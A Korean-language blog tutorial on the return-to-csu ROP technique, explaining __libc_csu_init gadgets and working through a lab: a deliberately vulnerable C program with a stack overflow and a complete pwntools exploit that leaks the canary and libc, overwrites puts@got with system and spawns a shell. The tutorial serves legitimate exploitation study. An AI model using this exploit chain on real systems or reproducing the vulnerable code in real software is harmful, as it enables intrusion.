Return-to-csu

Sisyphus·2022년 7월 18일
0

System Hacking - ELF 64

목록 보기
2/5

Return-to-Csu

우리가 프로그램을 실행시키면 main 함수가 호출되기 전에 start, _libc_start_main, __libc_csu_init처럼 여러 함수가 실행됩니다.

Return-to-Csu 기법은 이중 __libc_csu_init 함수의 코드를 이용해서 최대 인자가 3개인 함수를 연달아 호출할 수 있게 해 줍니다.

공격은 두 단계로 나누어서 이루어지는데


*stage 1*

스택에 저장한 데이터들을 각 레지스터에 POP 합니다.


*stage 2*

인자들을 세팅한 후에 함수를 호출합니다.


이게 어떻게 가능한지 __libc_csu_init 함수의 코드를 봐보면

gef➤  disas __libc_csu_init
Dump of assembler code for function __libc_csu_init:
	.
    	.
    	.
    	.
   0x00000000004012a8 <+56>:    mov    rdx,r14
   0x00000000004012ab <+59>:    mov    rsi,r13
   0x00000000004012ae <+62>:    mov    edi,r12d
   0x00000000004012b1 <+65>:    call   QWORD PTR [r15+rbx*8]
   0x00000000004012b5 <+69>:    add    rbx,0x1
   0x00000000004012b9 <+73>:    cmp    rbp,rbx
   0x00000000004012bc <+76>:    jne    0x4012a8 <__libc_csu_init+56>
   0x00000000004012be <+78>:    add    rsp,0x8
   
   0x00000000004012c2 <+82>:    pop    rbx
   0x00000000004012c3 <+83>:    pop    rbp
   0x00000000004012c4 <+84>:    pop    r12
   0x00000000004012c6 <+86>:    pop    r13
   0x00000000004012c8 <+88>:    pop    r14
   0x00000000004012ca <+90>:    pop    r15
   0x00000000004012cc <+92>:    ret    
End of assembler dump.

*stage 1*

   0x00000000004012c2 <+82 >:   pop   rbx
   0x00000000004012c3 <+83 >:   pop   rbp
   0x00000000004012c4 <+84 >:   pop   r12
   0x00000000004012c6 <+86 >:   pop   r13
   0x00000000004012c8 <+88 >:   pop   r14
   0x00000000004012ca <+90 >:   pop   r15
   0x00000000004012cc <+92 >:   ret

stage 1 코드를 이용해서 스택에 저장된 데이터들을 각 레지스터에 POP 합니다.


*stage 2*

   0x00000000004012a8 <+56 >:   mov   rdx,r14
   0x00000000004012ab <+59 >:   mov   rsi,r13
   0x00000000004012ae <+62 >:   mov   edi,r12d
   0x00000000004012b1 <+65 >:   call  QWORD PTR [r15+rbx*8 ]
   0x00000000004012b5 <+69 >:   add   rbx,0x1
   0x00000000004012b9 <+73 >:   cmp   rbp,rbx
   0x00000000004012bc <+76 >:   jne   0x4012a8 <__libc_csu_init+56 >
   0x00000000004012be <+78 >:   add   rsp,0x8

stage 2 코드를 이용해서 인자를 세팅하고 함수를 호출합니다.


이렇게 Stage 1과 2를 이용해서 원하는 인자 값으로 원하는 함수를 호출할 수 있습니다.



글로만 보면 잘 이해가 안 되기 때문에, 위에 코드들이 어떻게 동작하는지 그림으로 한번 살펴보겠습니다.

Stage 1

Read(0, bss, 8)을 예시로 설명을 해보겠습니다.

pop rbx가 실행되면 스택에 탑에 있는 값이 rbx로 들어갑니다.

pop rbp가 실행되면 스택의 탑에 있던 1이 rbp로 들어갑니다.

pop r12가 실행되면 스택 탑에 있던 값이 r12로 들어갑니다.

pop r13가 실행되면 스택의 탑에 있던 값이 r13으로 들어갑니다.

pop r14가 실행되면 스택 탑에 있는 값이 r14로 들어갑니다.

pop r15가 실행되면 스택의 탑에 있던 값이 r15로 들어갑니다.

이렇게 pop rbx  ~ r15까지 하면 함수 호출을 위한 모든 인자가 다 레지스터로 들어가게 됩니다.


마지막으로 ret 가 실행되면 stage 2 코드로 점프하게 됩니다

Stage 2


mov rdx, r14가 실행되면 rdx에 r14 값이 대입되어 rdx는 8이 됩니다. 그래서 함수의 세 번째 인자는 8이 됩니다.

mov rsi, r13이 실행되면 rsi에 r13값이 대입되어 rsi는 bss가 됩니다. 그래서 함수의 두 번째 인자는 bss가 됩니다.

mov edi, 12d가 실행되면 edi에 r12d 값이 대입되어 edi는 0이 됩니다. 그래서 함수의 첫 번째 인자는 0이 됩니다.

call QWORD PTR[r15+rbx*8]이 실행되면 rbx가 0이기 때문에 call QWORD PTR[r15]가 되고 r15가 read@got이기 때문에 read 함수가 호출됩니다.

그래서 최종적으로 read(0, bss, 8)이 실행됩니다.



페이로드

이제 페이로드를 짜는 법을 봐보면

버퍼 오버플로우를 시켜 RET를 stage 1으로 한 후


   0x00000000004012b1 <+65>:    call   QWORD PTR [r15+rbx*8]

첫 번째로 함수 호출을 위해 rbx * 8은 0이 돼야 하기 때문에 rbx는 0으로 고정입니다.

그리고 r15는 호출할 함수의 got가 됩니다.


   0x00000000004012b5 <+69>:    add    rbx,0x1
   0x00000000004012b9 <+73>:    cmp    rbp,rbx
   0x00000000004012bc <+76>:    jne    0x4012a8 <__libc_csu_init+56>
   0x00000000004012be <+78>:    add    rsp,0x8

두 번째로 rbx에 1을 더한 다음 rbp와 rbx가 같으면 stage 1 로 가서 다시 함수를 호출할 수 있게 되기 때문에 rbp도 1로 고정입니다.

그리고 여기서 rsp에 8을 더하기 때문에 정상적인 공격 진행을 위해 두 번째 stage 1 부터는 앞에 dummy를 추가해줘야 합니다.


   0x00000000004012ae <+62>:    mov    edi,r12d

세 번째로 r12d는 edi로 들어가기 때문에 함수의 첫 번째 인자 값입니다.


   0x00000000004012ab <+59>:    mov    rsi,r13

네 번째로 r13은 rsi로 들어가기 때문에 함수의 두 번째 인자 값입니다.


   0x00000000004012ab <+59>:    mov    rsi,r13

마지막으로 r14는 rdx로 들어가기 때문에 함수의 세 번째 인자 값입니다.


이 내용을 정리해보면



실습

이제 실습을 해보겠습니다.

실습 코드

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf2: ");
  read(0, buf, 0x200);

  return 0;
}

보호 기법

 kali@kali  ~/wargame/Return_to_Csu/example  checksec rtc
[*] '/home/kali/wargame/Return_to_Csu/example/rtc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

익스플로잇 설계

[1] Canary Leak - 첫 번째 read 함수, 두 번째 printf 함수
[2] Return-to-Csu - 두 번째 read 함수

  1. system 함수 실제 주소 구하기
  2. bss 영역에 “/bin/sh 쓰기
  3. puts@got를 system으로 got overwrite
  4. puts(“/bin/sh”) 호출 – system(“/bin/sh”)

스택 구조 분석

   0x00000000004011dc <+118 >:  lea   rax,[rbp-0x40 ]
   0x00000000004011e0 <+122 >:  mov   edx,0x100
   0x00000000004011e5 <+127 >:  mov   rsi,rax
   0x00000000004011e8 <+130 >:  mov   edi,0x0
   0x00000000004011ed <+135 >:  call  0x401060 <read@plt>

buf ~ Canary : 56
Canary Leak : 57
buf ~ RET : 72


__libc_csu_init

   0x 00000000004012c2 <+82 >:   pop   rbx
   0x 00000000004012c3 <+83 >:   pop   rbp
   0x 00000000004012c4 <+84 >:   pop   r12
   0x 00000000004012c6 <+86 >:   pop   r13
   0x 00000000004012c8 <+88 >:   pop   r14
   0x 00000000004012ca <+90 >:   pop   r15
   0x 00000000004012cc <+92 >:   ret   

   0x 00000000004012a8 <+56 >:   mov   rdx,r14
   0x 00000000004012ab <+59 >:   mov   rsi,r13
   0x 00000000004012ae <+62 >:   mov   edi,r12d
   0x 00000000004012b1 <+65 >:   call  QWORD PTR [r15+rbx*8 ]
   0x 00000000004012b5 <+69 >:   add   rbx,0x 1
   0x 00000000004012b9 <+73 >:   cmp   rbp,rbx
   0x 00000000004012bc <+76 >:   jne   0x 4012a8 <__libc_csu_init+56 >
   0x 00000000004012be <+78 >:   add   rsp,0x 8

익스플로잇 코드

from pwn import *

def slog (name, addr):
        return success(": ".join ([name, hex(addr)]))


def rtc_chain (arg1, arg2, arg3, func):
        return p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(func) + p64(csu_init2)


p = process("./rtc")
e = ELF("./rtc", checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

#context.log_level = 'debug'
#gdb.attach(p)


# [1] Leak Canary
buf = b'A' * 57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))

slog("Canary", canary)


# [2] Write Payload
read_got = e.got['read']
puts_got = e.got['puts']
bss = e.bss()

read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]

csu_init1 = 0x4012c2
csu_init2 = 0x4012a8
dummy = p64(0)


payload = b'A' * 56 + p64(canary) + b'B' * 8

# puts(read@got)
payload += p64(csu_init1)
payload += rtc_chain (read_got, 0, 0, puts_got)


# read(0, bss, 8) => bss : "/bin/sh"
payload += dummy
payload += rtc_chain(0, bss, 8, read_got)


# read(0, puts@got, 8) => puts@got -> system
payload += dummy
payload += rtc_chain(0, puts_got, 8, read_got)


# puts("/bin/sh") => system("/bin/sh")
payload += dummy
payload += rtc_chain(bss, 0, 0, puts_got)


# Exploit
p.sendafter("Buf2: ", payload)  	# puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recvn(6) + b'\x00'*2 )     # 화면에 출력된 read() 주소를 read에 대입
lb = read - read_offset 		# libc base = read 주소 - read symbols
system = lb + libc.symbols["system"]    # system = libc base + system symbols

slog("read", read)
slog("libc_base", lb)
slog("system", system)


p.send(b"/bin/sh\x00")
p.send(p64(system))
p.interactive()

익스플로잇

 kali@kali  ~/wargame/Return_to_Csu/example  python3 exploit.py 2> /dev/null
[+] Starting local process './rtc': pid 46417
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Canary: 0x824f481964b23800
[+] read: 0x7f8f79826550
[+] libc_base: 0x7f8f79738000
[+] system: 0x7f8f79781860
[*] Switching to interactive mode

$ ls
core  exploit.py  rtc  rtc.c

0개의 댓글